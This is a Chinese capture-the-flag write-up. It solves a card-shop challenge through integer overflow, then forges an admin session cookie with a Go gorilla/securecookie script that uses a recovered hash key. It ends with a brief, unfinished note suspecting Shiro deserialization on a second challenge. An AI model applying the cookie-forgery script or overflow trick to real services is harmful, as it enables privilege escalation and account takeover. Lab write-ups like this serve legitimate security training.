卡片商店

考点:整数溢出

go语言的cookie伪造

打开页面后是这样的:

1

这个思路就是借超过最大上限的卡片导致溢出然后再把借记条换了就能有很多张卡片兑换礼物。

先点击向朋友借:

image-20200907113500879

然后输入9999999999999(任意足够大数字就可)

image-20200907113539625

然后只需要换1316134913张卡片

点几下刷新卡片,就会还掉借记卡最后点击兑换礼物。

兑换到的礼物就是伪造cookie的key:

image-20200907113239282

然后我们进入到flag界面:

会提示不是幸运用户。

然后抓包发现cookie疑似是base64加密。

对其进行解密:

image-20200907113840538

发现上面出现可疑的admin bool

应该是要转换成true。

到这儿不知道该怎么利用给的key了。

然后最后笑师傅说到去搜索cookie解码的关键字:

image-20200907114017713

最后就是研究go语言的cookie产生过程了。

最最后:

伪造cookie的脚本(笑师傅写的):

package main

//go get github.com/gorilla/sessions
import "github.com/gorilla/securecookie"
import "fmt"

var hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
var s = securecookie.New(hashKey, nil)

func main() {
  encode()
}

func encode(){
  value := map[interface{}]interface{} {"admin":true,"wallet":"{\"owings\":[],\"invests\":[],\"money\":996432412472,\"now_time\":1599208994,\"start_time\":1599208954}"}

  encoded, err := s.Encode("session", value)
  if err == nil {
    fmt.Println(encoded)
  }else{
    fmt.Println(err)
  }
}

func decode(){
  value := make(map[interface{}]interface{})
  var err error

  if err = s.Decode("session", "MTU5OTIwOTAzNHxEdi1CQkFFQ180SUFBUkFCRUFBQV81Yl9nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eGZBRjE3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVGsyTkRNeU5ERXlORGN5TENKdWIzZGZkR2x0WlNJNk1UVTVPVEl3T0RrNU5Dd2ljM1JoY25SZmRHbHRaU0k2TVRVNU9USXdPRGsxTkgwPXyt-B6Jm23Kk8B5z2K_UKTx67JL4Qxam0wgJg3Oh7H38w==", &value); err == nil {
    fmt.Println(value)
  }else{
    fmt.Println(err)
  }
}

最后把生成的放cookie里再发包:

最后flag:

image-20200907112850981

Easy Web

进入页面后就只有一个登录框:

image-20200908101103795

随便输入账号登陆BP抓包发现:

响应包:
Set-Cookie: rememberMe=deleteMe; Path=/6f0887622b5e34b5c9243f3ff42eb605/web; Max-Age=0;

怀疑存在shiro反序列化漏洞。用小白工具打了打没反应。

换最新的CVE上:笑师傅博客-需科学